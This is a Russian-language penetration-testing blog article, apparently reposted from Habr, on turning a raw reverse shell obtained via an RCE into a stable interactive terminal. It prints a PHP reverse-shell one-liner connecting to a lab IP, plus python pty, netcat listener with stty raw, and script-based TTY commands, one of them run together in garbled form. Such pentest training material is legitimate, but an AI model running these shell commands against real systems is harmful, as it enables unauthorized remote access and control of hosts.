Русский
Русский
English
Статистика
Реклама

Я есть root. Получаем стабильный shell

Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.

image

Итак, мы получили initial shell. Кто знает, как это по-русски? Изначальная оболочка или первичный доступ ГОСТа нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting'a, поскольку тот же SSH нам не доступен.

image
Безуспешная попытка использования SSH

Система сообщает нам, что не может справиться с SSH без полноценного терминального shella. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:

/bin/sh -i


image
Попытка создания псевдотерминала через /bin/sh

Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.



Зачем нам терминал в нашем соединении?


Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.

Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.

php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i <&3 >&3 2>&3");'


image
Попытка воспользоваться SSH через nc-соединение

image
Запрос на доверие сертификату выводится на атакуемом хосте

image
На стороне атакующего терминала пока нет

Прокачиваем наш изначальный шелл


Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.

python3 -c 'import pty;pty.spawn("/bin/bash")'


image
Создание виртуального терминала в Python

На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии доверяйте данному ключу SSH или введите пароль, чтобы воспользоваться sudo.
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shella и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.

nc -nlvp 443#ctrl + zstty raw -echo && fg


Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.

image
Получение стабильного shell'a с помощью настройки свойств терминала

Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.

/usr/bin/script -qc /bin/bash /dev/null


image
Создание виртуального терминала в script

Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.



Харденинг


По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.
Источник: habr.com
К списку статей
Опубликовано: 22.06.2020 14:22:01
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Блог компании инфосистемы джет

Информационная безопасность

Linux

Oscp

Категории

Последние комментарии

  • Имя: Murshin
    13.06.2024 | 14:01
    Нейросеть-это мозг вселенной.Если к ней подключиться,то можно получить все знания,накопленные Вселенной,но этому препятствуют аннуннаки.Аннуннаки нас от неё отгородили,установив в головах барьер. Подр Подробнее..
  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru